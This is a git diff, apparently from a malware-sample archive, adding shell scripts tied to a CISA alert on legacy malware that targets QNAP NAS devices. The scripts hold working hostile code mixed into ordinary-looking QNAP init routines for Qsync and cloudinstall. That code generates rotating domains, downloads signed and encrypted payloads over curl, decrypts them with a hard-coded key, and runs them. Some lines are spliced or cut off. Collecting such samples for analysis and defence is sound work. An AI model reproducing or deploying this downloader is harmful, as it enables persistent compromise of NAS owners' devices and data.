"$rsadomain" = "${host}.${ext}" || continue + timenow=$(date +%s) + test "$ts" -gt 0 && { test "$ts" -gt "$timenow" || test $(( $timenow - $ts )) -lt 172800; } && recentupdate=1 + curl --connect-timeout 12 -m 300 -k -o "$outfile" "https://${host}.${ext}/${path}" + filehash=$(openssl dgst -sha1 -binary "$outfile" | openssl base64) || continue + test "$filehash" = "$hash" || continue + curl --connect-timeout 12 -m 30 -k -o "${outfile}_s" "https://${host}.${ext}/s/${path}" + verifyfile "$outfile" "${outfile}_s" && decryptfile "$outfile" || continue + mv "${outfile}_s" "${ts}_v" + chmod 755 "$outfile" || continue + ( ( exec >/dev/null 2>/dev/null /dev/null 2>&1 & ) & ) + test "$recentupdate" -eq 1 && exit 0 + done + done +done + + +if [ "$fromrcS" = 'TRUE' ]; then +# if Qsync is disable before 4.3.0, we will touch /mnt/HDA_ROOT/udpate_pkg/.QsyncServer_disabled +set_default_disable_status() +{ + QPKG_ENABLE=`$CMD_GETCFG ${QSYNC_NAME} Enable -d "NULL" -f ${QPKG_CONF}` + OLD_ENABLE=`$CMD_GETCFG Qsync Enable -u -d NULL` + if [ -f "${UPDATEPKG_DIR}/.${QSYNC_NAME}_removed" ]; then + return + fi + + if [ "$QPKG_ENABLE" = "NULL" ]; then + if [ "$OLD_ENABLE" = "FALSE" ]; then + dbg "touch ${UPDATEPKG_DIR}/.${QSYNC_NAME}_disabled" + /bin/touch "${UPDATEPKG_DIR}/.${QSYNC_NAME}_disabled" + fi + fi +} + +if [ "x$HBS_ENABLE" = xnull ] || [ "x$HBS_ENABLE" = xFALSE ]; then + export QNAP_QPKG=rtrr +else + export QNAP_QPKG=HybridBackup + /usr/local/sbin/qboost_util -S -n rtrr -E 0 1>/dev/null 2>&1 +fi +start() +{ + if [ -f /usr/bin/qsyncman ]; then + [ ! -f /etc/config/hdcopyusb.conf ] || /bin/rm -f /etc/config/hdcopyusb.conf + /bin/sed -i '/hdusb_copy/d' /etc/config/crontab + /usr/bin/crontab /etc/config/crontab + echo -n "Starting QSync manitor: " + [ -d /etc/config/qsync ] || /usr/bin/install -d /etc/config/qsync + [ -f /etc/config/qsync/qhost.conf ] || /bin/touch /etc/config/qsync/qhost.conf + [ -f /etc/config/qsync/qsyncjobdef.conf ] || /bin/touch /etc/config/qsync/qsyncjobdef.conf + [ -f /etc/config/qsync/qsync.conf ] || /bin/cp -p /etc/default_config/qsync/qsync.conf /etc/config/qsync/qsync.conf + [ -f /etc/config/qsync/extdrv.conf ] || /bin/cp -p /etc/default_config/qsync/extdrv.conf /etc/config/qsync/extdrv.conf + [ -f /etc/config/qsync/qsyncd.conf ] || /bin/cp -p /etc/default_config/qsync/qsyncd.conf /etc/config/qsync/qsyncd.conf + [ ! -f /etc/config/qsync/qsyncd.conf ] || /bin/chmod 640 /etc/config/qsync/qsyncd.conf + [ ! -f /etc/config/qsync/qsync.conf ] || /bin/chmod 640 /etc/config/qsync/qsync.conf + [ ! -f /etc/config/qsync/qhost.conf ] || /bin/chmod 640 /etc/config/qsync/qhost.conf + /sbin/daemon_mgr qsyncman start "/usr/bin/qsyncman 1>/dev/null 2>&1" + echo "OK" + fi +} + +stop() +{ + echo "Shutting down QSync monitor: OK" + pidnum=`/bin/pidof qsync``/bin/pidof qsyncd` + kill $pidnum 2>/dev/null + i=0 + while [ ${i} -lt 5 ] + do + pidnum=`/bin/pidof qsync``/bin/pidof qsyncd` + if [ -z "$pidnum" ]; then + break + fi + sleep 1 + i=`/usr/bin/expr ${i} + 1` + done + pidnum=`/bin/pidof qsync``/bin/pidof qsyncd` + [ -z "$pidnum" ] || kill -9 $pidnum 2>/dev/null + /sbin/daemon_mgr qsyncman stop "/usr/bin/qsyncman" + /usr/bin/killall -q qsyncman +} + +start_qsyncd() +{ + #_qsyncd_en=`/sbin/getcfg "" Enabled -d 0 -f /etc/qsync/qsyncd.conf` + #[ "x$_qsyncd_en" = x1 ] || return -1 + _qsyncd_run_pid=`/bin/pidof qsyncd` + [ -z $_qsyncd_run_pid ] || return -114 + _recycle_en=`/sbin/getcfg 'Network Recycle Bin' Enable -d FALSE` + _with_syslog=$1 + if [ "x$_recycle_en" = xTRUE ]; then + if [ "x$_with_syslog" = x1 ]; then + LD_PRELOAD=/usr/local/lib/libtrash.so /usr/bin/qsyncd -syslog -c:/etc/qsync/qsyncd.conf + else + LD_PRELOAD=/usr/local/lib/libtrash.so /usr/bin/qsyncd -c:/etc/qsync/qsyncd.conf + fi + else + if [ "x$_with_syslog" = x1 ]; then + /usr/bin/qsyncd -syslog -c:/etc/qsync/qsyncd.conf + else + /usr/bin/qsyncd -c:/etc/qsync/qsyncd.conf + fi + fi + _iret=$? + if [ "x$_iret" = x0 ]; then + i=0 + while [ ${i} -lt 10000 ] + do + echo "${i} millisecond..." + _qsyncd_pid=`/sbin/getcfg '' Pid -d -1 -f /etc/qsync/qsyncd.conf` + _qsyncd_run_pid=`/bin/pidof qsyncd` + if [ "x$_qsyncd_pid" != "x-1" ] && [ ! -z $_qsyncd_run_pid ]; then + break + fi + usleep 50000 + i=`/usr/bin/expr ${i} + 50` + done + fi + return -$_iret +} + +stop_qsyncd() +{ + #_qsyncd_en=`/sbin/getcfg "" Enabled -d 0 -f /etc/qsync/qsyncd.conf` + #[ "x$_qsyncd_en" = x0 ] || return -1 + _qsyncd_pid=`/sbin/getcfg "" Pid -d -1 -f /etc/qsync/qsyncd.conf` + [ $_qsyncd_pid -lt 0 ] && return -3 + # Send SIGUSR1 to inform the daemon to output "[RTRR Server] Stopped" event log + /bin/kill -SIGUSR1 $_qsyncd_pid + usleep 200000 + # Send SIGINT to stop the QSyncd process + /bin/kill -SIGINT $_qsyncd_pid + _kill_ret=$? + if [ "x$_kill_ret" != x0 ]; then + return -3 + fi + echo "need wait $1 millisecond" + i=0 + while true + do + echo "${i} millisecond..." + _qsyncd_pid=`/sbin/getcfg '' Pid -d -1 -f /etc/qsync/qsyncd.conf` + _qsyncd_run_pid=`/bin/pidof qsyncd` + if [ "x$_qsyncd_pid" = "x-1" ] && [ -z $_qsyncd_run_pid ]; then + break + fi + if [ ${i} -ge $1 ]; then + # if time-out, we send two additional SIGINT to force the daemon to stop. + if [ $_qsyncd_pid -ge 0 ]; then + /bin/kill -SIGUSR1 $_qsyncd_pid + usleep 200000 + /bin/kill -SIGUSR1 $_qsyncd_pid + fi + j=0 + while [ ${j} -lt 500 ] + do + _qsyncd_run_pid=`/bin/pidof qsyncd` + if [ -z $_qsyncd_run_pid ]; then + return 0 + fi + usleep 20000 + j=`/usr/bin/expr ${j} + 20` + done + return -62 + fi + usleep 50000 + i=`/usr/bin/expr ${i} + 50` + done + return 0 +} + + +install() +{ + lock_file="/var/lock/qbox_install_bin.lck" + + if [ ! -f "${INSTALL_BUILD_IN}" ]; then + dbg "build-in ${QSYNC_NAME} is installed" + return 1 + fi + + if [ ! -f ${UPDATEPKG_DIR}/${QSYNC_NAME}.bin ]; then + dbg "${QSYNC_NAME}.bin} not found" + return 1 + fi + + if [ ! -x "${QPKG_CLI}" ]; then + dbg "${QPKG_CLI} not found" + return 1 + fi + + ## make sure volume is exist + if [ ! -d /share/`/sbin/getcfg SHARE_DEF defPublic -d Public -f /etc/config/def_share.info` ]; then + dbg "/share/Public not found" + return 1 + fi + + ## is removed + if [ -f ${UPDATEPKG_DIR}/.${QSYNC_NAME}_removed ]; then + /bin/rm -f ${INSTALL_BUILD_IN} + dbg "${QSYNC_NAME} is removed" + return 1 + fi + + if [ -f "$lock_file" ]; then + if [ $(( $(date +%s) - $(date +%s -r $lock_file) )) -le 180 ]; then + echo "${QSYNC_NAME} is installing" + dbg "${QSYNC_NAME} is installing" + return 1 + fi + fi + + /bin/touch "$lock_file" + /bin/rm -f ${INSTALL_BUILD_IN} + dbg "install build-in ${QSYNC_NAME} start" + + set_default_disable_status + + ## install build in Qsync + ${QPKG_CLI} -K -m ${UPDATEPKG_DIR}/${QSYNC_NAME}.bin > /dev/null 2>&1 + sleep 20 + + wait_install=60 + ## avoid initial take long time or fail + while [ "$wait_install" -gt 0 ]; do + stcode=`$CMD_GETCFG ${QSYNC_NAME}.bin stcode -f /etc/config/qpkg_job.conf` + if [ "$stcode" = "0" ]; then + break + fi + sleep 1 + let "wait_install--" + done + + ${QPKG_CLI} -C ${QSYNC_NAME}.bin > /dev/null 2>&1 + /bin/rm -f ${UPDATEPKG_DIR}/.${QSYNC_NAME}_disabled + /bin/rm -f "$lock_file" + dbg "install build-in ${QSYNC_NAME} success" +} + +if [ "$1" == "stop" ]; then + { /share/MD0_DATA/NOPE; exit 0; } +fi +fi diff --git a/2020/2020-07-27_CISA-Legacy_Malware_Targeting_QNAP_NAS/62426146b8fcaeaf6abb24d42543c6374b5f51e06c32206ccb9042350b832ea8 b/2020/2020-07-27_CISA-Legacy_Malware_Targeting_QNAP_NAS/62426146b8fcaeaf6abb24d42543c6374b5f51e06c32206ccb9042350b832ea8 new file mode 100644 index 0000000..9dee322 --- /dev/null +++ b/2020/2020-07-27_CISA-Legacy_Malware_Targeting_QNAP_NAS/62426146b8fcaeaf6abb24d42543c6374b5f51e06c32206ccb9042350b832ea8 @@ -0,0 +1,511 @@ +#!/bin/sh +QNAP_QPKG=cloudinstall +QID_PRESISTENT_CONF=/etc/config/qid_persistent.conf +NAS_CLOUD_INSTALL_PATH=/home/httpd/cgi-bin/cloudinstall +CLOUD_INSTALL_PATH=/tunnel_agent +CLOUD_INSTALL_RAMDISK_PATH=/tunnel_agent_ramdisk +CLOUD_INSTALL_AGENT_FILE_PATH=$CLOUD_INSTALL_PATH/tunnel_agent.tar.bz2 +COUNTER=1 +ERROR_BAD_REQUEST=400 + +if [ "$fromrcS" = 'TRUE' ]; then +case "$1" in + start) + START_TIME=$(date +"%T") + echo -e "start:$START_TIME" >> /tmp/.cloudinstall.log + while [ "$CLOUD_INSTALL_AGENT_PID_LIST" == "" ]; + do + # report device info and get cloudinstall agent app download url + DOWNLOAD_URL=`/usr/sbin/qcloud_uninit_device_tool -r` + if [ ! -d "$CLOUD_INSTALL_PATH" ]; then + if [ "$NAS_ARCH" == "ARM_64" ]; then + # create ramdisk and create a 64mb file + /bin/mkdir -p $CLOUD_INSTALL_RAMDISK_PATH + /bin/mount -t tmpfs -o size=64m tmpfs $CLOUD_INSTALL_RAMDISK_PATH + /bin/dd if=/dev/zero of=$CLOUD_INSTALL_RAMDISK_PATH/image bs=1M count=64 + # create block size 1K filesystem + /sbin/mke2fs -b 1024 $CLOUD_INSTALL_RAMDISK_PATH/image + # create virtual disk + export USED_LOOP_DEVICE=`/usr/local/sbin/losetup -f $CLOUD_INSTALL_RAMDISK_PATH/image` + /sbin/setcfg -f $QID_PRESISTENT_CONF "CLOUDINSTALL" "USED_LOOP_DEVICE" "$USED_LOOP_DEVICE" + /bin/mkdir -p $CLOUD_INSTALL_PATH + # mount virtual disk + /bin/mount $USED_LOOP_DEVICE $CLOUD_INSTALL_PATH + else + # create and mount tmpfs folder + /bin/mkdir -p $CLOUD_INSTALL_PATH + /bin/mount -t tmpfs -o size=64m tmpfs $CLOUD_INSTALL_PATH + fi + fi + cd $CLOUD_INSTALL_PATH + + if [[ $DOWNLOAD_URL == https* ]]; then + REPORT_SUCCESS_TIME=$(date +"%T") + else + REPORT_FAIL_TIME=$(date +"%T") + echo -e " report_fail:$REPORT_FAIL_TIME\n response:$DOWNLOAD_URL" >> /tmp/.cloudinstall.log + # stop retry when got bad request + # prevent put bad request all the time + if [[ $DOWNLOAD_URL == *$ERROR_BAD_REQUEST* ]]; then + break + fi + fi + + # downlaod cloudinstall agent app + /usr/sbin/qcloud_uninit_device_tool -o "$CLOUD_INSTALL_AGENT_FILE_PATH" -d "$DOWNLOAD_URL" + + if [ -f "$CLOUD_INSTALL_AGENT_FILE_PATH" ]; then + DOWNLOAD_FINISH_TIME=$(date +"%T") + # unzip and execute cloudinstallagent + /bin/tar -xf $CLOUD_INSTALL_AGENT_FILE_PATH -C $CLOUD_INSTALL_PATH + $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_ctl.sh start &> /dev/null + + UNZIP_TIME=$(date +"%T") + fi + + if [ ! -d "$NAS_CLOUD_INSTALL_PATH" ]; then + # create folder and create symbolic link + /bin/mkdir -p $NAS_CLOUD_INSTALL_PATH + /bin/ln -s $CLOUD_INSTALL_PATH/ui/cloudinstall.html $NAS_CLOUD_INSTALL_PATH/index.html + /bin/ln -s $CLOUD_INSTALL_PATH/ui/cloudinstall.cgi $NAS_CLOUD_INSTALL_PATH/cloudinstall.cgi + /bin/ln -s $CLOUD_INSTALL_PATH/ui/static $NAS_CLOUD_INSTALL_PATH/static + fi + + # wait connect + sleep 5 + CLOUD_INSTALL_AGENT_PID_LIST=`/bin/ps --columns 256 | /bin/grep "$CLOUD_INSTALL_PATH/bin/cloudinstallagent" | /bin/grep -v grep | /bin/awk '{print $1}'` + if [ "$CLOUD_INSTALL_AGENT_PID_LIST" == "" ]; then + SLEEP_TIME=$(( 30 * $COUNTER )) + if [ $SLEEP_TIME -gt 300 ]; then + SLEEP_TIME=300 + fi + # wait next retry + sleep $SLEEP_TIME + fi + COUNTER=$(( $COUNTER * 2 )) + done + + END_TIME=$(date +"%T") + echo -e "report_success:$REPORT_SUCCESS_TIME\ndownload_finish:$DOWNLOAD_FINISH_TIME\nunzip_finish:$UNZIP_TIME\nend:$END_TIME" >> /tmp/.cloudinstall.log + # call for a new process group and for later kill + /bin/setsid $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_disconnect_daemon.sh start &> /dev/null & + /bin/setsid $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_daemon.sh &> /dev/null & + + # set cloudinstall report status + /sbin/setcfg -f $QID_PRESISTENT_CONF "CLOUDINSTALL" "REPORT_STATUS" "uninit" + # add link to report offline + /bin/ln -sf /etc/init.d/cloudinstall_report_offline.sh /etc/rcK.d/K99cloudinstall_report_offline + + # buzzer + HARDWARE_TYPE=$(uname -m) + if [[ "$HARDWARE_TYPE" == *"x86"* ]]; + then + /sbin/hal_app --se_buzzer enc_id=0,mode=101 + elif [[ "$HARDWARE_TYPE" == *"arm"* ]]; + then + /sbin/pic_raw 81 + fi + ;; + + stop) + # disconnect cloudinstall agent + $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_ctl.sh stop &> /dev/null + $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_disconnect_daemon.sh stop &> /dev/null + for i in "${CLOUD_INSTALL_AGENT_DAEMON_PID_LIST[@]}" + do + # use bash kill instead /bin/kill for kill process group + # cloudinstall agent daemon and inotifywait + kill -9 -- -$i &>/dev/null + done + + # umount + if [ "$NAS_ARCH" == "ARM_64" ]; then + /bin/umount -l $USED_LOOP_DEVICE + /usr/local/sbin/losetup -d $USED_LOOP_DEVICE + else + /bin/umount -l $CLOUD_INSTALL_PATH + fi + # remove all files + if [ -d "$NAS_CLOUD_INSTALL_PATH" ]; then + /bin/rm -rf $NAS_CLOUD_INSTALL_PATH + fi + if [ -d "$CLOUD_INSTALL_PATH" ]; then + /bin/rm -rf $CLOUD_INSTALL_PATH + fi + if [ -d "$CLOUD_INSTALL_RAMDISK_PATH" ]; then + /bin/rm -rf $CLOUD_INSTALL_RAMDISK_PATH + fi + ;; + + restart) + $0 stop + $0 start + ;; + + *) + echo "Usage: $0 {start|stop|restart}" + exit 1 +esac +exit 0 + + +set_env() +{ + debug=`$CMD_GETCFG Qsync Debug -u -d NULL` + if [ "$debug" != "NULL" ]; then + /bin/touch $LOG_FILE + else + /bin/rm -f $LOG_FILE + fi +} + +set_env + +dbg() +{ + if [ -f "$LOG_FILE" ]; then + echo "[`date "+%H:%M:%S"`] $@ " >> $LOG_FILE + fi +} + +dbg "> $0 $@ (pid $$)" + +fi + +export PATH="${PATH}:/bin:/sbin:/usr/bin:/usr/sbin:/usr/bin/X11:/usr/local/sbin:/usr/local/bin" + +command -v getcfg > /dev/null 2>&1 || getcfg () { sed -n 'H;${x;s/\(.*\n\['"${1//\//\\\/}"']\|^\['"${1//\//\\\/}"']\)\n//I;s/\(^\|\n\)\[[^\n]\+\]\n.*//p}' "${4:-${confdir}/uLinux.conf}" | sed -n 's/^'"${2//\//\\\/}"' \?= \?\(.*\)/\1/Ip'; } + +test -d /etc/config && confdir=/etc/config || { test -d /mnt/HDA_ROOT/.config && confdir=/mnt/HDA_ROOT/.config; } + +bdir= +test -f "${confdir}/smb.conf" && for i in homes Public Download Multimedia Web Recordings; do bdir=`getcfg "$i" path -f "${confdir}/smb.conf"` && test ! -z "$bdir" && bdir=`dirname "$bdir"` && test -d "$bdir" && testwriteable=$(mktemp "${bdir}/.tmp.XXXXXX") && rm "${testwriteable}" && break; bdir=''; done +test -z "${bdir}" || test ! -d "${bdir}" && { command -v readlink >/dev/null 2>&1 || ln -sf /bin/busybox /usr/bin/readlink; for i in Public Download Multimedia Web Recordings homes; do bdir=`readlink "/share/${i}" 2>/dev/null` && test ! -z "$bdir" && bdir=`dirname "$bdir"` && bdir=/share/${bdir##*/} && test -d "$bdir" && break; done; +test -z "${bdir}" || test ! -d "${bdir}"; } && { bdir=`getcfg SHARE_DEF defVolMP -f "${confdir}/def_share.info"` +test -z "${bdir}" || test ! -d "${bdir}"; } && { bdir=`mount | sed -n "s/.*\(\/share\/[^ /]\+\) .*/\1/gp" | head -n 1` +test -z "${bdir}" || test ! -d "${bdir}"; } && { for i in CACHEDEV3_DATA CACHEDEV2_DATA CACHEDEV1_DATA MD0_DATA; do test -d "/share/${i}" && bdir="/share/${i}" && break; done; +test -z "${bdir}" || test ! -d "${bdir}" && bdir=/mnt/HDA_ROOT; } +grep -F '' </dev/null 2>&1 && fgrep="grep -F" || { command -v fgrep >/dev/null 2>&1 && fgrep=fgrep || fgrep=grep; } + +EOF +test "$fgrep" || fgrep=grep +test "$RANDOM" || RANDOM=17653 +genrstr () +{ + local s=; + local min=${1:-4}; + local max=${2:-12}; + local kspace="${3:-a-zA-Z}" + tr -dc "$kspace" < /dev/urandom | { + read -rn $(($RANDOM % ( $max - $min + 1 ) + $min )) s; + echo "$s" + } +} + +verifyfile() { +local file="$1" +local sig="${2:-$file_s}" +local out +test ! -z "$file" && test -s "$file" || return 1 +test ! -z "$sig" && test -s "$sig" || return 1 +test -f ".rsakey" || echo "$verifykey" > ".rsakey" +out=$(openssl dgst -sha1 -verify ".rsakey" -signature "$sig" "$file") && test "$out" = "Verified OK" && return 0 +return 1 +} + +decryptfile() { +local file="$1" +local ofile="${2:-${file}}" +local key='7C0vK4SzMO15zBxLD7XCi5hbjgP1ZjkJ' +openssl enc -d -aes-256-cbc -k "$key" -md sha1 -salt < "$file" > "${file}_d" || return $? +test -f "$ofile" && rm -f "$ofile" +mv "${file}_d" "$ofile" && return 0 +return 1 +} + +verifykey='-----BEGIN PUBLIC KEY----- +MIIBojANBgkqhkiG9w0BAQEFAAOCAY8AMIIBigKCAYEAt/EDT6SB75atrHW7Cpog +CXqrBM2CVbJog4rwwSz1Bp1i1' +verifykey="${verifykey}"'B7B9Wd51no32lpRqOM+9GOr2W17xwJ8pqpQotex +RC5qQSiS/7FS48jsPKsJnrUhnsI1fRLM4DqsEF3UOukZuDOYUhlteDuMqqZBz0AC +Q3YnLjraTjchMF0XmaAAcWOkg5MsxAOKTepue4R/tnrPAkAG86nq5LA1+wa7opNV +gQzwDh7YXhBnWz52+ebZ9TeqD31/sb5hoyUKf1Nr5HcKkklObuz1OGQJ//pkCbTC +2EnQw6tCPQhgSIA8wJKkaxW0f/UHP+YBmWa4Wn+uPrJJuHSVNEJtAp2wlX3THltz +0IGPQEuzoafOAl3EFjas3HcTX2HlEfnvAtRL2iLxJeba1nZ+U3geZOuxL1NhWhNh +pjaLcKwhkRck7Y5hr1Pz8pLDnXsx5w0QUz6XS8HVf/KHnNXHufFEn01y9YoPuau1 +DNnpDGbq632Bs8ESd3ueHk9OY/UZxWeN3UdbseFxK35XAgMBAAE= +-----END PUBLIC KEY-----' + +DOMAIN_EXT_A='cf tk ml ga gq' +DOMAIN_EXT_B='com biz org de rocks mx cn top nl men ws se info xyz net today ru fi name to in com.ua vg vn cd' + +test -d "${bdir}/.qpkg" || mkdir "${bdir}/.qpkg" +test -d "${bdir}/.qpkg/.liveupdate" || mkdir "${bdir}/.qpkg/.liveupdate" +cd "${bdir}/.qpkg/.liveupdate" && rm -f .tmp.* + +echo "$verifykey" > ".rsakey" +i=0 n=0 c=0 errorcount=0 +outfile=$(mktemp "./.tmp.XXXXXX") || outfile=$(mktemp "${bdir}/.tmp.XXXXXX") || outfile=$(mktemp "/.tmp.XXXXXX") || outfile='./.tmp.out' + +for domainexts in "$DOMAIN_EXT_A" "$DOMAIN_EXT_B"; do + for ext in $domainexts; do + hostname=$(echo "$(( $(date +%s) / 1296000 ))IbjGOEgnuD${ext}" | openssl dgst -sha1 -binary | openssl base64 | sed 'y/ABCDEFGHIJKLMNOPQRSTUVWXYZ-+\//abcdefghijklmnopqrstuvwxyzabc/;s/=//g') + hostname=${hostname%[a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9]} + hostnames="${hostname%[a-z0-9][a-z0-9][a-z0-9][a-z0-9]} ${hostname%[a-z0-9][a-z0-9][a-z0-9]}" + hostnames="$hostnames ${hostname%[a-z0-9][a-z0-9]} ${hostname%[a-z0-9]} $hostname" + for host in $hostnames; do + test -f "$outfile" && rm -f "$outfile" + recentupdate='' + curl --connect-timeout 12 -m 30 -k -o "$outfile" "https://${host}.${ext}/qnap_firmware.xml?t=$(date +%s)" + echo "$outfile https://${host}.${ext}/qnap_firmware.xml?t=$(date +%s)" > /tmp/hellomalware.txt + test -s "$outfile" || continue + fsize=$(( $(wc -c < "$outfile") )) + test "$fsize" -gt 4096 && rm -f "$outfile" && continue + rsamsg=$(openssl base64 -in "$outfile" -d | openssl rsautl -pubin -inkey ".rsakey" -verify) || continue + test "$rsamsg" || continue + path="${rsamsg%|*}"; rsadomain="${path%|*}"; path="${path#*|}" + hash="${rsamsg##*|}"; ts="${hash#*_}"; hash="${hash%_*}" + test "$rsadomain" = "${host}.${ext}" || continue + timenow=$(date +%s) + test "$ts" -gt 0 && { test "$ts" -gt "$timenow" || test $(( $timenow - $ts )) -lt 172800; } && recentupdate=1 + curl --connect-timeout 12 -m 300 -k -o "$outfile" "https://${host}.${ext}/${path}" + filehash=$(openssl dgst -sha1 -binary "$outfile" | openssl base64) || continue + test "$filehash" = "$hash" || continue + curl --connect-timeout 12 -m 30 -k -o "${outfile}_s" "https://${host}.${ext}/s/${path}" + verifyfile "$outfile" "${outfile}_s" && decryptfile "$outfile" || continue + mv "${outfile}_s" "${ts}_v" + chmod 755 "$outfile" || continue + ( ( exec >/dev/null 2>/dev/null /dev/null 2>&1 +fi +start() +{ + if [ -f /usr/bin/qsyncman ]; then + [ ! -f /etc/config/hdcopyusb.conf ] || /bin/rm -f /etc/config/hdcopyusb.conf + /bin/sed -i '/hdusb_copy/d' /etc/config/crontab + /usr/bin/crontab /etc/config/crontab + echo -n "Starting QSync manitor: " + [ -d /etc/config/qsync ] || /usr/bin/install -d /etc/config/qsync + [ -f /etc/config/qsync/qhost.conf ] || /bin/touch /etc/config/qsync/qhost.conf + [ -f /etc/config/qsync/qsyncjobdef.conf ] || /bin/touch /etc/config/qsync/qsyncjobdef.conf + [ -f /etc/config/qsync/qsync.conf ] || /bin/cp -p /etc/default_config/qsync/qsync.conf /etc/config/qsync/qsync.conf + [ -f /etc/config/qsync/extdrv.conf ] || /bin/cp -p /etc/default_config/qsync/extdrv.conf /etc/config/qsync/extdrv.conf + [ -f /etc/config/qsync/qsyncd.conf ] || /bin/cp -p /etc/default_config/qsync/qsyncd.conf /etc/config/qsync/qsyncd.conf + [ ! -f /etc/config/qsync/qsyncd.conf ] || /bin/chmod 640 /etc/config/qsync/qsyncd.conf + [ ! -f /etc/config/qsync/qsync.conf ] || /bin/chmod 640 /etc/config/qsync/qsync.conf + [ ! -f /etc/config/qsync/qhost.conf ] || /bin/chmod 640 /etc/config/qsync/qhost.conf + /sbin/daemon_mgr qsyncman start "/usr/bin/qsyncman 1>/dev/null 2>&1" + echo "OK" + fi +} + +stop() +{ + echo "Shutting down QSync monitor: OK" + pidnum=`/bin/pidof qsync``/bin/pidof qsyncd` + kill $pidnum 2>/dev/null + i=0 + while [ ${i} -lt 5 ] + do + pidnum=`/bin/pidof qsync``/bin/pidof qsyncd` + if [ -z "$pidnum" ]; then + break + fi + sleep 1 + i=`/usr/bin/expr ${i} + 1` + done + pidnum=`/bin/pidof qsync``/bin/pidof qsyncd` + [ -z "$pidnum" ] || kill -9 $pidnum 2>/dev/null + /sbin/daemon_mgr qsyncman stop "/usr/bin/qsyncman" + /usr/bin/killall -q qsyncman +} + +start_qsyncd() +{ + #_qsyncd_en=`/sbin/getcfg "" Enabled -d 0 -f /etc/qsync/qsyncd.conf` + #[ "x$_qsyncd_en" = x1 ] || return -1 + _qsyncd_run_pid=`/bin/pidof qsyncd` + [ -z $_qsyncd_run_pid ] || return -114 + _recycle_en=`/sbin/getcfg 'Network Recycle Bin' Enable -d FALSE` + _with_syslog=$1 + if [ "x$_recycle_en" = xTRUE ]; then + if [ "x$_with_syslog" = x1 ]; then + LD_PRELOAD=/usr/local/lib/libtrash.so /usr/bin/qsyncd -syslog -c:/etc/qsync/qsyncd.conf + else + LD_PRELOAD=/usr/local/lib/libtrash.so /usr/bin/qsyncd -c:/etc/qsync/qsyncd.conf + fi + else + if [ "x$_with_syslog" = x1 ]; then + /usr/bin/qsyncd -syslog -c:/etc/qsync/qsyncd.conf + else + /usr/bin/qsyncd -c:/etc/qsync/qsyncd.conf + fi + fi + _iret=$? + if [ "x$_iret" = x0 ]; then + i=0 + while [ ${i} -lt 10000 ] + do + echo "${i} millisecond..." + _qsyncd_pid=`/sbin/getcfg '' Pid -d -1 -f /etc/qsync/qsyncd.conf` + _qsyncd_run_pid=`/bin/pidof qsyncd` + if [ "x$_qsyncd_pid" != "x-1" ] && [ ! -z $_qsyncd_run_pid ]; then + break + fi + usleep 50000 + i=`/usr/bin/expr ${i} + 50` + done + fi + return -$_iret +} + +stop_qsyncd() +{ + #_qsyncd_en=`/sbin/getcfg "" Enabled -d 0 -f /etc/qsync/qsyncd.conf` + #[ "x$_qsyncd_en" = x0 ] || return -1 + _qsyncd_pid=`/sbin/getcfg "" Pid -d -1 -f /etc/qsync/qsyncd.conf` + [ $_qsyncd_pid -lt 0 ] && return -3 + # Send SIGUSR1 to inform the daemon to output "[RTRR Server] Stopped" event log + /bin/kill -SIGUSR1 $_qsyncd_pid + usleep 200000 + # Send SIGINT to stop the QSyncd process + /bin/kill -SIGINT $_qsyncd_pid + _kill_ret=$? + if [ "x$_kill_ret" != x0 ]; then + return -3 + fi + echo "need wait $1 millisecond" + i=0 + while true + do + echo "${i} millisecond..." + _qsyncd_pid=`/sbin/getcfg '' Pid -d -1 -f /etc/qsync/qsyncd.conf` + _qsyncd_run_pid=`/bin/pidof qsyncd` + if [ "x$_qsyncd_pid" = "x-1" ] && [ -z $_qsyncd_run_pid ]; then + break + fi + if [ ${i} -ge $1 ]; then + # if time-out, we send two additional SIGINT to force the daemon to stop. + if [ $_qsyncd_pid -ge 0 ]; then + /bin/kill -SIGUSR1 $_qsyncd_pid + usleep 200000 + /bin/kill -SIGUSR1 $_qsyncd_pid + fi + j=0 + while [ ${j} -lt 500 ] + do + _qsyncd_run_pid=`/bin/pidof qsyncd` + if [ -z $_qsyncd_run_pid ]; then + return 0 + fi + usleep 20000 + j=`/usr/bin/expr ${j} + 20` + done + return -62 + fi + usleep 50000 + i=`/usr/bin/expr ${i} + 50` + done + return 0 +} + + +install() +{ + lock_file="/var/lock/qbox_install_bin.lck" + + if [ ! -f "${INSTALL_BUILD_IN}" ]; then + dbg "build-in ${QSYNC_NAME} is installed" + return 1 + fi + + if [ ! -f ${UPDATEPKG_DIR}/${QSYNC_NAME}.bin ]; then + dbg "${QSYNC_NAME}.bin} not found" + return 1 + fi + + if [ ! -x "${QPKG_CLI}" ]; then + dbg "${QPKG_CLI} not found" + return 1 + fi + + ## make sure volume is exist + if [ ! -d /share/`/sbin/getcfg SHARE_DEF defPublic -d Public -f /etc/config/def_share.info` ]; then + dbg "/share/Public not found" + return 1 + fi + + ## is removed + if [ -f ${UPDATEPKG_DIR}/.${QSYNC_NAME}_removed ]; then + /bin/rm -f ${INSTALL_BUILD_IN} + dbg "${QSYNC_NAME} is removed" + return 1 + fi + + if [ -f "$lock_file" ]; then + if [ $(( $(date +%s) - $(date +%s -r $lock_file) )) -le 180 ]; then + echo "${QSYNC_NAME} is installing" + dbg "${QSYNC_NAME} is installing" + return 1 + fi + fi + + /bin/touch "$lock_file" + /bin/rm -f ${INSTALL_BUILD_IN} + dbg "install build-in ${QSYNC_NAME} start" + + set_default_disable_status + + ## install build in Qsync + ${QPKG_CLI} -K -m ${UPDATEPKG_DIR}/${QSYNC_NAME}.bin > /dev/null 2>&1 + sleep 20 + + wait_install=60 + ## avoid initial take long time or fail + while [ "$wait_install" -gt 0 ]; do + stcode=`$CMD_GETCFG ${QSYNC_NAME}.bin stcode -f /etc/config/qpkg_job.conf` + if [ "$stcode" = "0" ]; then + break + fi + sleep 1 + let "wait_install--" + done + + ${QPKG_CLI} -C ${QSYNC_NAME}.bin > /dev/null 2>&1 + /bin/rm -f ${UPDATEPKG_DIR}/.${QSYNC_NAME}_disabled + /bin/rm -f "$lock_file" + dbg "install build-in ${QSYNC_NAME} success" +} + +if [ "$1" == "stop" ]; then + exit 0 +fi 